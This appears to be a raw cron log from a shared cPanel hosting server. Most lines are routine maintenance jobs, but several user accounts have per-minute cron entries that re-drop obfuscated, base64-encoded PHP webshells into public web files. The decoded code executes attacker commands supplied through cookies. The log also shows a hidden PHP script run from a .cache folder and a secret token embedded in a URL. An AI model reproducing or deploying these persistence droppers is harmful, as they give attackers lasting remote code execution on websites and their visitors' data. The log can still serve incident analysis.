Jun  7 06:50:02 medusa CROND[4083]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 06:50:02 medusa CROND[4084]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:50:02 medusa CROND[4085]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:50:02 medusa CROND[4086]: (root) CMD (/usr/bin/kcarectl --auto-update )
Jun  7 06:50:02 medusa CROND[4087]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 06:50:02 medusa CROND[4089]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 06:50:02 medusa CROND[4090]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:50:02 medusa CROND[4094]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:50:02 medusa CROND[4095]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 06:50:02 medusa CROND[4098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:50:02 medusa CROND[4097]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:50:02 medusa CROND[4100]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:50:02 medusa CROND[4099]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 06:50:02 medusa CROND[4096]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 06:50:02 medusa CROND[4105]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:50:02 medusa CROND[4107]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:50:02 medusa CROND[4102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:50:02 medusa CROND[4108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 06:50:02 medusa CROND[4115]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:50:02 medusa CROND[4117]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:50:02 medusa CROND[4125]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:50:02 medusa CROND[4122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:50:02 medusa CROND[4126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:50:02 medusa CROND[4104]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:50:02 medusa CROND[4131]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 06:50:02 medusa CROND[4133]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 06:50:02 medusa CROND[4142]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:50:02 medusa CROND[4118]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 06:50:02 medusa CROND[4143]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 06:51:01 medusa CROND[6125]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:51:02 medusa CROND[6133]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:51:02 medusa CROND[6134]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:51:02 medusa CROND[6135]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:51:02 medusa CROND[6138]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:51:02 medusa CROND[6139]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:51:02 medusa CROND[6140]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:51:02 medusa CROND[6141]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:51:02 medusa CROND[6146]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:51:02 medusa CROND[6147]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:51:02 medusa CROND[6145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:51:02 medusa CROND[6149]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:51:02 medusa CROND[6150]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:51:02 medusa CROND[6148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:51:02 medusa CROND[6158]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:52:01 medusa CROND[7942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:52:01 medusa CROND[7945]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:52:01 medusa CROND[7946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
